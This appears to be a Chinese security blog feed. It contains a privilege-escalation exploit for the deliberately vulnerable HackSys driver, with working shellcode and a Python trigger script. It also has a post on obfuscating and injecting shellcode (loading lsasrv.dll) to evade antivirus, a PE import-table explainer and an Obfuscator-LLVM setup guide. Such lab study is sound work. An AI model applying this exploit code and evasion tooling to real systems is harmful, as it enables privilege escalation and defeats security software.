<span class="err">'</span><span class="w"> </span><span class="err">为了防止进程崩溃,我们在下面再写一个死循环就行了</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">ecx</span><span class="p">]</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">ecx</span>
<span class="nf">sub</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="mi">0xb8</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">esi</span><span class="err">+</span><span class="mi">0xb4</span><span class="p">]</span>
<span class="nf">cmp</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="mi">0xD94</span>
<span class="c1"># jnz 0xffffffea back 0x16</span>
<span class="err">"\</span><span class="nf">x75</span><span class="err">\</span><span class="no">xE8</span><span class="err">"</span>
<span class="c1"># jz 0xffffffe8 back 0x18</span>
<span class="err">"\</span><span class="nf">x0F</span><span class="err">\</span><span class="no">x84</span><span class="err">\</span><span class="no">xE2</span><span class="err">\</span><span class="no">xFF</span><span class="err">\</span><span class="no">xFF</span><span class="err">\</span><span class="no">xFF</span><span class="err">"</span>
</code></pre></div>
<p>在上面的代码中,有些字段的值是直接地址加偏移量就可得到,有些是加了偏移量之后还要取值,这个看一下下面两张图片就可以看出来</p>
<p><img alt="image-20240102095331978" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KwPgoMQqFa.jpg"></p>
<p><img alt="image-20240102095107673" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nnDqmWUvYi.jpg"></p>
<p>上面ApcState字段是直接KTREHAD+0x40即可得到地址,是因为这个字段并不是一个指针,而是直接嵌入到了KTHREAD结构体中,你可以看到<strong>下一个成员的偏移和ApcState字段偏移的差</strong>是<code>sizeof(_KAPC_STATE)=0x17</code></p>
<p>而反观_KAPC_STATE结构体的成员Process,他的下一个成员的偏移和Process的<strong>偏移之差</strong>是4bytes,也就是一个地址的长度,因此需要取值才可以获得KPROCESS结构体的地址</p>
<p>使用<a href="https://defuse.ca/online-x86-assembler.htm">在线汇编</a>将上面的汇编代码转换成字节数组即可形成下面的利用代码:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">ctypes</span><span class="o">,</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">from</span> <span class="nn">ctypes</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">kernel32</span> <span class="o">=</span> <span class="n">windll</span><span class="o">.</span><span class="n">kernel32</span>
<span class="n">hevDevice</span> <span class="o">=</span> <span class="n">kernel32</span><span class="o">.</span><span class="n">CreateFileA</span><span class="p">(</span><span class="s2">"</span><span class="se">\\\\</span><span class="s2">.</span><span class="se">\\</span><span class="s2">HackSysExtremeVulnerableDriver"</span><span class="p">,</span> <span class="mh">0xC0000000</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="mh">0x3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">None</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">hevDevice</span> <span class="ow">or</span> <span class="n">hevDevice</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"*** Couldn't get Device Driver handle."</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"device opened succeed"</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span>
<span class="s2">"</span><span class="se">\x64\xA1\x24\x01\x00\x00\x83\xC0\x40\x8B\x40\x10\x8B\x88\xB8\x00\x00\x00\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x83\xFE\x04\x75\xEB\x8B\x79\x40\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x8D\x71\x40\x89\x3E\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x0F\x84\xE2\xFF\xFF\xFF</span><span class="s2">"</span>
<span class="p">)</span>
<span class="c1"># PAGE_EXECUTE_READWRITE 0x40</span>
<span class="c1"># COMMIT | RESERVE</span>
<span class="n">ptr</span> <span class="o">=</span> <span class="n">kernel32</span><span class="o">.</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="n">c_int</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span><span class="n">c_int</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)),</span><span class="n">c_int</span><span class="p">(</span><span class="mh">0x3000</span><span class="p">),</span><span class="n">c_int</span><span class="p">(</span><span class="mh">0x40</span><span class="p">))</span>
<span class="n">buff</span> <span class="o">=</span> <span class="p">(</span><span class="n">c_char</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span><span class="o">.</span><span class="n">from_buffer</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>
<span class="n">kernel32</span><span class="o">.</span><span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">c_int</span><span class="p">(</span><span class="n">ptr</span><span class="p">),</span><span class="n">buff</span><span class="p">,</span><span class="n">c_int</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)))</span>
<span class="n">buf</span> <span class="o">=</span><span class="s2">"A"</span><span class="o">*</span><span class="mh">0x820</span>
<span class="n">buf</span> <span class="o">=</span> <span class="n">buf</span><span class="o">+</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"<L"</span><span class="p">,</span> <span class="n">ptr</span><span class="p">)</span>
<span class="n">kernel32</span><span class="o">.</span><span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hevDevice</span><span class="p">,</span> <span class="mh">0x222003</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x824</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">c_ulong</span><span class="p">()),</span> <span class="kc">None</span><span class="p">)</span>
</code></pre></div>
<p><img alt="Animationswrqwrwqewq" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/THjPiCHCeU.jpg"></p>
<p>在使用的时候将<code>\x84\x0B</code>改成你自己的目标进程的PID即可(注意大小端)</p>进程注入场景下的shellcode混淆2023-10-29T00:00:00+02:002023-10-29T00:00:00+02:0012138tag:None,2023-10-29:jin-cheng-zhu-ru-chang-jing-xia-de-shellcodehun-yao.html<p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="https://www.patreon.com/posts/why-is-pe-entry-61343353">https://www.patreon.com/posts/why-is-pe-entry-61343353</a></li>
<li><a href="https://github.com/stephenfewer/ReflectiveDLLInjection">ReflectiveDLLInjection</a></li>
</ul>
<p>一直没有找到比较好的shellcode混淆方法,尝试过直接使用OLLVM来编译出asm文件,之后再进行链接,但是总是会 …</p><p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="https://www.patreon.com/posts/why-is-pe-entry-61343353">https://www.patreon.com/posts/why-is-pe-entry-61343353</a></li>
<li><a href="https://github.com/stephenfewer/ReflectiveDLLInjection">ReflectiveDLLInjection</a></li>
</ul>
<p>一直没有找到比较好的shellcode混淆方法,尝试过直接使用OLLVM来编译出asm文件,之后再进行链接,但是总是会报一堆错误,后来尝试了使用PE2SHC来将混淆后的PE直接转换为shellcode进行注入,但是被注入的程序总是会莫名其妙的崩溃,而且使用PE2SHC很容易被杀软识别出来,因为他在最后面添加的那一段PE Loader的代码特征太明显了</p>
<p>为了解决以上的问题,我仔细看了一下<a href="https://github.com/stephenfewer/ReflectiveDLLInjection">ReflectiveDLLInjection</a>项目的源代码,最终形成了下面的解决方案:</p>
<ul>
<li>在编写shellcode代码的时候除了调用<code>GetModuleHandleA</code>和<code>GetProcAddress</code>这两个kernel32.dll中的API用于加载kernel32.dll并从中获取<code>LoadLibraryA</code>和<code>GetProcAddress</code>这两个函数外,不再直接调用win32 API</li>
<li>不使用除了win32 API之外的函数,如<code>printf</code>等</li>
<li>在链接的时候,指定程序入口为<code>main</code>函数</li>
</ul>
<p>其中第一点和第二点都是为了在注入shellcode的时候,不在目标进程中额外加载其他dll,因为在我的认知范围内,还没有哪个程序运行的时候不需要加载kernel32.dll,因此我们可以直接使用目标进程现成的kernel32.dll模块</p>
<p>对于第三点,大家可以参考<a href="https://www.patreon.com/posts/why-is-pe-entry-61343353">这篇文章</a>,默认情况下VS生成的PE文件的EntryPoint并不是main函数,而是<code>__security_init_cookie</code>,之后它会调用<code>__scrt_common_main_seh</code>,该函数最终会调用main函数,但是我们并不需要前面这些进行初始化和setup的函数,而且他们正是导致目标程序在注入之后崩溃的原因,在shellcode项目中进行如下设置即可</p>
<p><img alt="image-20231029234142684" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/iHGyOkbtoZ.jpg"></p>
<p><img alt="image-20231029231930369" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/VQfaeDozhX.jpg"></p>
<p>在这种设置下生成的PE文件的导入表只有两个导入函数</p>
<p><img alt="image-20231029234614699" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pTKndTPrbf.jpg"></p>
<p>在PE Loader中,只有两个地方需要对代码中的内存地址进行修正,一个是导入表,另一个就是base relocation</p>
<p>我们只需要在进行这两步操作的时候,使用目标进程中kernel32.dll模块的地址和PE文件将要加载到目标进程中的内存地址(基地址)即可</p>
<p>思路就是先在注入程序中把PE文件加载好,然后整个拷贝到目标进程中就行了</p>
<p>下面是一个例子,我们的shellcode只干了一件事,就是加载lsasrv.dll,shellcode运行完成后,injector会释放在目标进程中开辟的内存空间,injector接收两个参数,第一个是目标进程的PID,第二个是shellcode的PE文件</p>
<p><img alt="动画asdasdasd" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cYgJjcIeDD.jpg"></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/ashkjdhaskjdgaiufrgaeuiyfhaer/x.7z">injector.exe+PE.exe</a></p>
<p>这两个文件都已经经过了<a href="http://144.34.164.217/shi-yong-obfuscator-llvmdui-er-jin-zhi-dai-ma-jin-xing-hun-yao.html">混淆</a>处理</p>
<p><a href="https://github.com/wqreytuk/article/blob/main/asdiasdaihrgyfugaouafhpauofajdoasd.c">injector.exe源代码</a></p>
<p>PE.exe的源码:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="cpf"><Windows.h></span>
<span class="k">typedef</span>
<span class="n">FARPROC</span>
<span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span><span class="w"> </span><span class="n">PNT_GetProcAddress</span><span class="p">)(</span>
<span class="w"> </span><span class="n">HMODULE</span><span class="w"> </span><span class="n">hModule</span><span class="p">,</span>
<span class="w"> </span><span class="n">LPCSTR</span><span class="w"> </span><span class="n">lpProcName</span>
<span class="w"> </span><span class="p">);</span>
<span class="k">typedef</span>
<span class="n">HMODULE</span>
<span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span><span class="w"> </span><span class="n">PNT_LoadLibraryA</span><span class="p">)(</span>
<span class="w"> </span><span class="n">LPCSTR</span><span class="w"> </span><span class="n">lpLibFileName</span>
<span class="w"> </span><span class="p">);</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HMODULE</span><span class="w"> </span><span class="n">ahndleeeeer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">);</span>
<span class="w"> </span><span class="n">DWORD64</span><span class="w"> </span><span class="n">_kernel32_base_addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">DWORD64</span><span class="o">></span><span class="p">(</span><span class="n">ahndleeeeer</span><span class="p">);</span>
<span class="w"> </span><span class="n">PNT_LoadLibraryA</span><span class="w"> </span><span class="n">NT_LoadLibraryA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PNT_LoadLibraryA</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">ahndleeeeer</span><span class="p">,</span><span class="w"> </span><span class="s">"LoadLibraryA"</span><span class="p">);</span>
<span class="w"> </span><span class="n">PNT_GetProcAddress</span><span class="w"> </span><span class="n">NT_GetProcAddress</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PNT_GetProcAddress</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">ahndleeeeer</span><span class="p">,</span><span class="w"> </span><span class="s">"GetProcAddress"</span><span class="p">);</span>
<span class="w"> </span><span class="n">NT_LoadLibraryA</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">windows</span><span class="se">\\</span><span class="s">system32</span><span class="se">\\</span><span class="s">lsasrv.dll"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>理解PE文件的导入表2023-10-26T00:00:00+02:002023-10-26T00:00:00+02:0012138tag:None,2023-10-26:li-jie-pewen-jian-de-dao-ru-biao.html<p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="http://sandsprite.com/CodeStuff/Understanding_imports.html">http://sandsprite.com/CodeStuff/Understanding_imports.html</a></li>
<li><a href="https://github.com/stephenfewer/ReflectiveDLLInjection">https://github.com/stephenfewer/ReflectiveDLLInjection</a></li>
</ul>
<p><strong>如果你不熟悉PE文件中va和rva的概念,可以参考<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/124989854?spm=1001.2014.3001.5502">这里</a></strong> </p>
<p>其实PE文件的导入表非常好理解,只要看懂下面这张图就行 …</p><p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="http://sandsprite.com/CodeStuff/Understanding_imports.html">http://sandsprite.com/CodeStuff/Understanding_imports.html</a></li>
<li><a href="https://github.com/stephenfewer/ReflectiveDLLInjection">https://github.com/stephenfewer/ReflectiveDLLInjection</a></li>
</ul>
<p><strong>如果你不熟悉PE文件中va和rva的概念,可以参考<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/124989854?spm=1001.2014.3001.5502">这里</a></strong> </p>
<p>其实PE文件的导入表非常好理解,只要看懂下面这张图就行了</p>
<p><img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IHFSiWnvRI.jpg"></p>
<p>其中最关键的就是<code>IMAGE_IMPORT_DIRECTORY</code>结构体,我们主要关注第一个和最后一个字段</p>
<ul>
<li>rvaImportLookupTable</li>
<li>rvaImportAddressTable</li>
</ul>
<p>用最简单的一句话来描述这两个字段就是前者是给PE Loader用来查找导入DLL的函数地址的,后者是给PE文件中的代码用来得到正确的函数地址的</p>
<p>PE Loader通过前者从DLL中获取到正确的函数地址,然后填充到后者中,最终在代码执行的时候,会通过后者来获取函数地址</p>
<p>这里我使用一个<a href="https://gitee.com/wochinijiamile/smartya/blob/master/asdas5234523sdfgsdfsdfsd.7z">很简单的PE文件</a>来举例子,我这个PE文件只有两个导入函数</p>
<p><img alt="1698225319171" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LeJZPkPYvL.jpg"></p>
<p>分别是<code>kernel32.ExitProcess</code>和<code>user32.MessageBoxA</code></p>
<p>在IDA中打开该PE文件</p>
<p><img alt="1698225462002" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QggGgHFvRx.jpg"></p>
<p>查看<code>call cs:MessageBoxA</code>对应的16进制为<code>FF15D70F0000</code>,使用<a href="https://defuse.ca/online-x86-assembler.htm#disassembly">defuse.ca</a>反编译得到如下结果</p>
<p><img alt="1698225565115" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/aNdHBZFeiH.jpg"></p>
<p>可以看到,这里call指令的操作数是从内存地址<code>rip+0xFD7</code>取出来的一个QWORD,<strong>也就是说在编译和链接阶段,生成的PE文件中的代码,并不会直接call导入函数,而是从一个内存地址中取出导入函数的地址,而在PE Loader将PE正确加载到内存之前,这个地址中并没有存储正确的导入函数地址,PE Loader的工作就是根据<code>rvaImportLookupTable</code>找到正确的导入函数地址,然后放到这个地址中</strong></p>
<p>rip总是下一条指令的地址,即<code>0x140001039</code>,那么计算出来的内存地址就是<code>0x140002010</code>,Optional Header中ImageBase字段的值为<code>0x140000000</code></p>
<p><img alt="1698225936074" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wSRDPtHbPO.jpg"></p>
<p>那么这个地址的rva就是<code>0x2010</code>,和PE-bear中显示的USER32.dll的FirstThunk字段的值是一致的(FirstThunk就是<code>rvaImportAddressTable</code>的第一个entry)</p>
<p>这里有一段摘抄于<a href="https://github.com/stephenfewer/ReflectiveDLLInjection/">RDI</a>的代码(有一个地方进行了修改),大家可以结合上面理解一下</p>
<div class="highlight"><pre><span></span><code><span class="c1">// uiValueD就是rvaImportLookupTable的地址,这里通过和0x8000000000000000进行and运算来判断是否通过ordinal来定位导入函数的地址</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">uiValueD</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">((</span><span class="n">PIMAGE_THUNK_DATA</span><span class="p">)</span><span class="n">uiValueD</span><span class="p">)</span><span class="o">-></span><span class="n">u1</span><span class="p">.</span><span class="n">Ordinal</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="n">IMAGE_ORDINAL_FLAG</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="c1">// uiLibraryAddress是导入的DLL在内存中的基地址,这里获取到导入DLL的NT Header地址</span>
<span class="w"> </span><span class="n">uiExportDir</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">uiLibraryAddress</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">((</span><span class="n">PIMAGE_DOS_HEADER</span><span class="p">)</span><span class="n">uiLibraryAddress</span><span class="p">)</span><span class="o">-></span><span class="n">e_lfanew</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 获取到导入DLL的DATA_DIRECTORY结构体的地址</span>
<span class="w"> </span><span class="n">uiNameArray</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="p">((</span><span class="n">PIMAGE_NT_HEADERS</span><span class="p">)</span><span class="n">uiExportDir</span><span class="p">)</span><span class="o">-></span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">DataDirectory</span><span class="p">[</span><span class="n">IMAGE_DIRECTORY_ENTRY_EXPORT</span><span class="p">];</span>
<span class="w"> </span><span class="c1">// 获取到导入DLL的导出表的地址</span>
<span class="w"> </span><span class="n">uiExportDir</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">uiLibraryAddress</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">((</span><span class="n">PIMAGE_DATA_DIRECTORY</span><span class="p">)</span><span class="n">uiNameArray</span><span class="p">)</span><span class="o">-></span><span class="n">VirtualAddress</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 从导出表中获取到导出函数数组地址</span>
<span class="w"> </span><span class="n">uiAddressArray</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">uiLibraryAddress</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">((</span><span class="n">PIMAGE_EXPORT_DIRECTORY</span><span class="p">)</span><span class="n">uiExportDir</span><span class="p">)</span><span class="o">-></span><span class="n">AddressOfFunctions</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 从前面那张导入表结构体的示意图我们知道,如果使用ordinal的方式来定位导入函数的地址,那么除了最高位,剩下的bit位将用于表示ordinal的值</span>
<span class="w"> </span><span class="c1">// 不过这里不知道为啥进行and运算的是0xFFFF,只有16bit,可能ordinal的值最大也就这么大了吧</span>
<span class="w"> </span><span class="c1">// 获取到ordinal value之后,和导出表的base字段值相减,因为每个entry占4bytes,相减的结果乘以4再加上导出函数数组的地址,就是导出函数相对于DLL基地址的偏移的地址</span>
<span class="w"> </span><span class="n">uiAddressArray</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">((</span><span class="n">IMAGE_ORDINAL</span><span class="p">(((</span><span class="n">PIMAGE_THUNK_DATA</span><span class="p">)</span><span class="n">uiValueD</span><span class="p">)</span><span class="o">-></span><span class="n">u1</span><span class="p">.</span><span class="n">Ordinal</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">((</span><span class="n">PIMAGE_EXPORT_DIRECTORY</span><span class="p">)</span><span class="n">uiExportDir</span><span class="p">)</span><span class="o">-></span><span class="n">Base</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">));</span>
<span class="w"> </span><span class="c1">// 使用基地址+偏移得到导入函数的正确地址,并将该地址放到rvaImportAddressTable中</span>
<span class="w"> </span><span class="n">DEREF</span><span class="p">(</span><span class="n">uiValueA</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">uiLibraryAddress</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">DEREF_32</span><span class="p">(</span><span class="n">uiAddressArray</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="w"> </span><span class="c1">// 根据导入表结构体示意图我们可以知道,如果最高bit位为0,那么uiValueD中保存的就是IMAGE_IMPORT_BY_NAME结构体的rva</span>
<span class="w"> </span><span class="c1">// 和PE文件的基地址相加即可得到IMAGE_IMPORT_BY_NAME结构体的地址</span>
<span class="w"> </span><span class="n">uiValueB</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">uiBaseAddress</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">DEREF</span><span class="p">(</span><span class="n">uiValueD</span><span class="p">));</span>
<span class="w"> </span><span class="c1">// 通过GetProcAddress获取指定名称的函数地址,并将其放入rvaImportAddressTable中</span>
<span class="w"> </span><span class="n">DEREF</span><span class="p">(</span><span class="n">uiValueA</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">pGetProcAddress</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">uiLibraryAddress</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">LPCSTR</span><span class="p">)((</span><span class="n">PIMAGE_IMPORT_BY_NAME</span><span class="p">)</span><span class="n">uiValueB</span><span class="p">)</span><span class="o">-></span><span class="n">Name</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p><strong>我把<a href="https://gitee.com/wochinijiamile/smartya/blob/master/shellcode.7z">项目文件</a>也放上来,大家可以在VS中进行调试来更好地理解</strong></p>使用Obfuscator-LLVM对二进制代码进行混淆2023-10-20T00:00:00+02:002023-10-20T00:00:00+02:0012138tag:None,2023-10-20:shi-yong-obfuscator-llvmdui-er-jin-zhi-dai-ma-jin-xing-hun-yao.html<p>(所有压缩包的密码均为1)</p>
<p>参考文章:</p>
<ul>
<li><a href="https://0xpat.github.io/Malware_development_part_6/#:~:text=Obfuscator%2DLLVM&text=Obfuscation%20works%20on%20the%20mentioned,finally%20the%20assembly%20is%20generated.">0xpat.github.io</a></li>
<li><a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/445826-llvm-obfuscator-9-0-1-step-step.html">unknowncheats</a></li>
</ul>
<p><strong>你需要在一台安装了VS2017的机器上进行下面的操作</strong></p>
<p>准备工作,需要先安装<a href="https://www.python.org/ftp/python/3.12.0/python-3.12.0-amd64.exe">python3</a>,然后要安装<a href="https://objects.githubusercontent.com/github-production-release-asset-2e65be/537699/02693761-8ecf-456f-ac50-9264e9368619?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231020%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231020T025527Z&X-Amz-Expires=300&X-Amz-Signature=1b5376b390a2d7e3a17aaa70fa7a3daf043f66c1ee7999f556990bd585f57d73&X-Amz-SignedHeaders=host&actor_id=48377190&key_id=0&repo_id=537699&response-content-disposition=attachment%3B%20filename%3Dcmake-3.28.0-rc2-windows-x86_64.msi&response-content-type=application%2Foctet-stream">cmake</a>,然后下载<a href="https://github.com/wqreytuk/article/tree/main/asdgyiaushdgasiyudhgasudg%E3%80%811%E3%80%81">这 …</a></p><p>(所有压缩包的密码均为1)</p>
<p>参考文章:</p>
<ul>
<li><a href="https://0xpat.github.io/Malware_development_part_6/#:~:text=Obfuscator%2DLLVM&text=Obfuscation%20works%20on%20the%20mentioned,finally%20the%20assembly%20is%20generated.">0xpat.github.io</a></li>
<li><a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/445826-llvm-obfuscator-9-0-1-step-step.html">unknowncheats</a></li>
</ul>
<p><strong>你需要在一台安装了VS2017的机器上进行下面的操作</strong></p>
<p>准备工作,需要先安装<a href="https://www.python.org/ftp/python/3.12.0/python-3.12.0-amd64.exe">python3</a>,然后要安装<a href="https://objects.githubusercontent.com/github-production-release-asset-2e65be/537699/02693761-8ecf-456f-ac50-9264e9368619?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231020%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231020T025527Z&X-Amz-Expires=300&X-Amz-Signature=1b5376b390a2d7e3a17aaa70fa7a3daf043f66c1ee7999f556990bd585f57d73&X-Amz-SignedHeaders=host&actor_id=48377190&key_id=0&repo_id=537699&response-content-disposition=attachment%3B%20filename%3Dcmake-3.28.0-rc2-windows-x86_64.msi&response-content-type=application%2Foctet-stream">cmake</a>,然后下载<a href="https://github.com/wqreytuk/article/tree/main/asdgyiaushdgasiyudhgasudg%E3%80%811%E3%80%81">这个文件</a></p>
<p>解压之后,进入并创建build目录,进入build目录打开cmd,执行如下命令</p>
<div class="highlight"><pre><span></span><code><span class="s">"C:\Program Files\CMake</span><span class="se">\b</span><span class="s">in\cmake.exe"</span><span class="w"> </span><span class="o">-</span><span class="n">G</span><span class="w"> </span><span class="s">"Visual Studio 15 2017 Win64"</span><span class="w"> </span><span class="p">..</span>
</code></pre></div>
<p>这条命令会给你生成一堆VS2017项目文件,就在build目录下</p>
<p>打开<code>ALL_BUILD.vcxproj</code></p>
<p>然后找到<code>obfuscator\include\llvm\CryptoUtils.h</code>,在81行下面添加下面的语句</p>
<div class="highlight"><pre><span></span><code><span class="cp">#define ENDIAN_LITTLE</span>
</code></pre></div>
<p>然后调整到RELEASE,右键<code>ALL_BUILD</code>生成即可</p>
<p><img alt="image-20231020175117317" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CbMJEKzPRO.jpg"></p>
<p><strong>当然如果你不想进行上面这一堆操作,你可以尝试直接使用<a href="https://github.com/wqreytuk/article/tree/main/asfbiuahfaiufhainof">我编译好的</a></strong></p>
<p>然后我们打开VS2019</p>
<p><img alt="image-20231020174735479" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pTPAXKcHFX.jpg"></p>
<p>然后关闭VS2019,在vs_installer中进行如下操作</p>
<p><img alt="image-20231020175226704" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/RUzQUhFoPO.jpg"></p>
<p>把这两个都安装上之后,启动VS2019</p>
<p><img alt="image-20231020175518623" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/hsHzYzBmLQ.jpg"></p>
<p>然后把我们上面编译出来的Obfuscator-LLVM拷贝到vs_installer刚才安装的clang-cl.exe所在的目录下</p>
<p>目标目录:</p>
<p><img alt="image-20231020175631010" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YqvcPpRqEk.jpg"></p>
<p>你们应该也是这个目录</p>
<p>编译好的Obfuscator-LLVM二进制文件目录:</p>
<p><img alt="image-20231020175723643" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JshJAfBHUe.jpg"></p>
<p>把第二张图显示的目录中的所有文件<strong>覆盖拷贝</strong>到第一张图的目录中</p>
<p>之后进行如下设置:</p>
<p><img alt="image-20231020212718285" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pIEtvGYWgQ.jpg"></p>
<p>把<code>diagnostics format</code>选项清空,不然会引起编译错误</p>
<p>添加如下命令行选项:</p>
